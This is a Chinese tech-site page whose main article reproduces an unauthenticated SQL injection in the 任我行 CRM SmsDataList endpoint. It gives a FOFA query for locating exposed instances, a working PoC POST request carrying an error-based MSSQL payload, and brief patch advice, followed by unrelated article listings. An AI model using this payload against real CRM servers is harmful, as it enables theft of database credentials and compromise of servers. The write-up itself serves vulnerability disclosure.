当前位置：首页 > news >正文

任我行 CRM SQL注入漏洞复现（HW0day）

news 2025/9/29 6:56:17

0x01 产品简介

任我行CRM（Customer Relationship Management）是一款专业的企业级CRM软件，旨在帮助企业有效管理客户关系、提升销售效率和提供个性化的客户服务。

0x02 漏洞概述

任我行 CRM SmsDataList 接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。

0x03 复现环境

FOFA："欢迎使用任我行CRM"

0x04 漏洞复现

PoC

POST /SMS/SmsDataList/?pageIndex=1&pageSize=30 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: your-ipKeywords=&StartSendDate=2020-06-17&EndSendDate=2020-09-17&SenderTypeId=0000000000'and 1=convert(int,(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','123456')))) AND 'CvNI'='CvNI

sqlmap验证

0x05 修复建议

临时缓解方案

限制访问来源地址，如非必要，不要将系统开放在互联网上。

升级修复方案

升级至安全版本或打补丁！

任我行 CRM SQL注入漏洞复现（HW0day）

0x01 产品简介任我行CRM（Customer Relationship Management）是一款专业的企业级CRM软件，旨在帮助企业有效管理客户关系、提升销售效率和提供个性化的客户服务。 0x02 漏洞概述任我行 CRM SmsDataList 接口处存在SQL注入漏洞，未…...

编程日记 2023/8/14 1:15:58

[CKA]考试之集群故障排查 – kubelet故障

由于最新的CKA考试改版，不允许存储书签，本博客致力怎么一步步从官网把答案找到，如何修改把题做对，下面开始我们的 CKA之旅题目为： Task 一个名为wk8s-node-0的节点状态为NotReady，让其他恢复至正常状态…...

编程日记 2023/8/14 1:14:56

VBA技术资料MF42：VBA_从Excel中上面的单元格复制公式

【分享成果，随喜正能量】唯有梦想才配让你不安，唯有行动才能解除你的不安.绳锯木断，水滴石穿。也许你现在做的事情很小，只要你能日积月累的坚持下去，才会发现意义非凡。所谓的成功，便是别人失败的时候你还在…...

编程日记 2023/8/14 1:13:53

ORB-SLAM2第一节---单目地图初始化

单目初始化 1.前提条件（640*480） 参与初始化的两帧各自的特征点数目都需要大于100.两帧特征点成功匹配的数目需要大于或等于100.两帧特征点三角化成功的三维点数目需要大于50. 2.针对条件三流程如下记录当前帧和参考帧（第一帧&#xff…...

编程日记 2023/8/14 1:12:51

Postman 汉化及下载

Postman 是一款常用的 API 测试工具，可以方便地进行接口测试、调试和文档编写。本文将详细介绍如何下载安装 Postman 并汉化，包括每个步骤的详细说明。下载安装 Postman 1、打开浏览器，访问 Postman 官网，下载适用于自己系统的…...

编程日记 2023/8/14 1:11:50

【运维】Zabbix简介及其应用领域

文章目录 1. Zabbix的背景与起源1.1. 监控工具的重要性为什么企业和个人需要监控工具？常见的监控挑战与需求 1.2. Zabbix的诞生背景Zabbix的发展历程Zabbix与其他监控工具的对比 2. Zabbix的核心功能2.1. 数据收集支持的数据收集方法数据的存储与历史记录 2.2. 可视…...

编程日记 2023/8/14 1:10:48

vue 设置了表单验证的el-input，在触发验证后无法继续输入的问题解决

问题表现在项目中碰到的问题，说是input框出现验证提示后，该框就无法输入新的数据了下面是我的代码： // dom结构 <el-form ref"addForm" :rules"addFormRules" :model"addForm" label-width"100px&…...

编程日记 2023/8/14 1:09:46

基于smardaten无代码开发智能巡检系统，让无人机飞得更准

目录引言需求背景搭建思路开发过程（1）无人机设备数据接入（2）无人机巡检任务管理（3）无人机三维防控监视（4）运防一体化大屏设计（5）异常告警管理（6&…...

编程日记 2023/8/14 1:08:45

51项目——智能垃圾桶

51项目——智能垃圾桶文章目录 51项目——智能垃圾桶项目需求项目材料（实物图可以百度看一看）接线实战编写部分代码(需要打包好的代码可以私我)效果视频结束项目需求人靠近，垃圾桶开盖，投放垃圾，人离开，垃圾桶自动关盖。并屏幕显示距离，和垃圾桶开关的状态。项目材…...

编程日记 2023/8/14 1:07:44

HCIP——堆叠技术

堆叠一、简介二、堆叠的优势1、提高可靠性2、简化组网3、简化管理4、强大的网络拓展能力三、堆叠的方式1、堆叠卡堆叠2、业务口堆叠四、堆叠的原理1、角色2、单机堆叠3、堆叠ID4、堆叠的优先级5、堆叠的建立过程五、堆叠的配置一、简介堆叠技术 — 可以将多台真是得物理…...

编程日记 2023/8/14 1:06:43

芯片工程师求职题目之CPU篇(3)

1. 什么是cache(缓存)？它的工作原理是什么？ Cache是少量的快速内存。它位于主存储器和中央处理器之间。每当CPU请求memory位置的内容时，首先检查cache中是否有此数据。如果数据存在于cache中，CPU直接从cache中获得数据。这是更快…...

编程日记 2023/8/14 1:05:40

Grounding dino + segment anything + stable diffusion 实现图片编辑

目录总体介绍总体流程模块介绍目标检测： grounding dino目标分割：Segment Anything Model (SAM)整体思路模型结构：数据引擎图片绘制集成样例其他问题附录总体介绍总体流程本方案用到了三个步骤，按顺序依次为&#xff1a…...

编程日记 2023/8/14 1:04:39

如何选择更快更稳定的存储服务器

选择更快、更稳定的存储服务器需要考虑以下几个方面： 存储介质：存储服务器的主要存储介质包括固态硬盘（SSD）和机械硬盘（HDD）。相比于机械硬盘，固态硬盘具有更高的读写速度和更低的延迟&#xf…...

编程日记 2023/8/14 1:03:38

此芯科技加入 openKylin 开源社区

导读近日消息，据此芯科技官方公众号表示，此芯科技目前已经签署 openKylin 社区 CLA（Contributor License Agreement 贡献者许可协议），正式加入 openKylin 开源社区。此芯科技成立于 2021 年，是一家专注于设…...

编程日记 2023/8/14 1:02:36

开发一个RISC-V上的操作系统（七）—— 硬件定时器（Hardware Timer）

目录往期文章传送门一、硬件定时器硬件实现软件实现二、上板测试往期文章传送门开发一个RISC-V上的操作系统（一）—— 环境搭建_riscv开发环境_Patarw_Li的博客-CSDN博客开发一个RISC-V上的操作系统（二）—— 系统引导…...

编程日记 2023/8/14 1:01:35

电池的正极是带正电？

首先说明结论：电池正极带正电，负极带负电。一个错误的实例： 如果说电流是从电池正极流动到电池负极，那么电子就是从负极流动到正极，那么正极就是带负电。----这个说法是错误的。这是因为，根据那么很出名…...

编程日记 2023/8/14 1:00:34

Go 协程为什么比进程和线程占用的系统资源低？

1 介绍进程是一个程序在执行时所占据的独立虚拟内存空间，Linux为每个进程分配一个虚拟内存空间，包括栈、未使用的内存、堆、BSS、DATA和TEXT等。线程可以看作是轻量级的进程，多个线程在一个进程中“共生”，每个线程拥有独立的…...

编程日记 2023/8/14 0:59:34

性能测试—Jmeter工具

文章目录性能测试1. 术语介绍2. 方法3. 应用场景4. 工具（Jmeter）4.1 介绍4.2 元件和组件4.2.2 元件4.2.1 组件 4.3 作用域4.4 参数化4.5 执行脚本性能测试 1. 术语介绍响应时间(Response time)：对请求作出响应所需要的时间。在互联网上对…...

编程日记 2023/8/14 0:58:32

【分布式系统】聊聊高性能设计

每个程序员都应该知道的数字高性能对于以上的数字，其实每个程序员都应该了解，因为只有了解这些基本的数字，才能知道对于CPU、内存、磁盘、网络之间数据读写的时间。1000ms 1S。毫秒->微秒->纳秒-秒->分钟为什么高性能如此重要的…...

编程日记 2023/8/14 0:57:32

自动驾驶数据集汇总

1.Nuscenes 数据集链接：nuScenes nuscenes数据集下有多个任务，涉及Detection（2D/3D）、Tracking、prediction、激光雷达分割、全景任务、规划控制等多个任务； nuScenes数据集是一个具有三维目标注释的大型自动驾驶数…...

编程日记 2023/8/14 0:56:30

突破不可导策略的训练难题：零阶优化与强化学习的深度嵌合

强化学习（Reinforcement Learning, RL）是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程，然后使用强化学习的Actor-Critic机制（中文译作“知行互动”机制），逐步迭代求解…...

编程新知 2025/9/28 7:53:19

【JavaEE】-- HTTP

1. HTTP是什么？ HTTP（全称为"超文本传输协议"）是一种应用非常广泛的应用层协议，HTTP是基于TCP协议的一种应用层协议。应用层协议：是计算机网络协议栈中最高层的协议，它定义了运行在不同主机上…...

编程新知 2025/9/29 4:35:11

安宝特方案丨XRSOP人员作业标准化管理平台：AR智慧点检验收套件

在选煤厂、化工厂、钢铁厂等过程生产型企业，其生产设备的运行效率和非计划停机对工业制造效益有较大影响。随着企业自动化和智能化建设的推进，需提前预防假检、错检、漏检，推动智慧生产运维系统数据的流动和现场赋能应用。同时，…...

编程新知 2025/9/28 18:37:03

java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别

UnsatisfiedLinkError 在对接硬件设备中，我们会遇到使用 java 调用 dll文件的情况，此时大概率出现UnsatisfiedLinkError链接错误，原因可能有如下几种类名错误包名错误方法名参数错误使用 JNI 协议调用，结果 dll 未实现 JNI 协…...

编程新知 2025/8/21 6:35:28

论文解读：交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架（一）

宇树机器人多姿态起立控制强化学习框架论文解析论文解读：交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架（一） 论文解读：交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...

编程新知 2025/8/27 0:58:09

Spring数据访问模块设计

前面我们已经完成了IoC和web模块的设计，聪明的码友立马就知道了，该到数据访问模块了，要不就这俩玩个6啊，查库势在必行，至此，它来了。一、核心设计理念 1、痛点在哪应用离不开数据（数据库、No…...

编程新知 2025/9/28 12:16:03

LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf

FTP 客服管理系统实现kefu123登录，不允许匿名访问，kefu只能访问/data/kefu目录，不能查看其他目录创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...

编程新知 2025/9/24 6:15:38

深入浅出深度学习基础：从感知机到全连接神经网络的核心原理与应用

文章目录前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么？1.1.2 感知机的工作原理 1.2 感知机的简单应用：基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...

编程新知 2025/9/29 2:39:33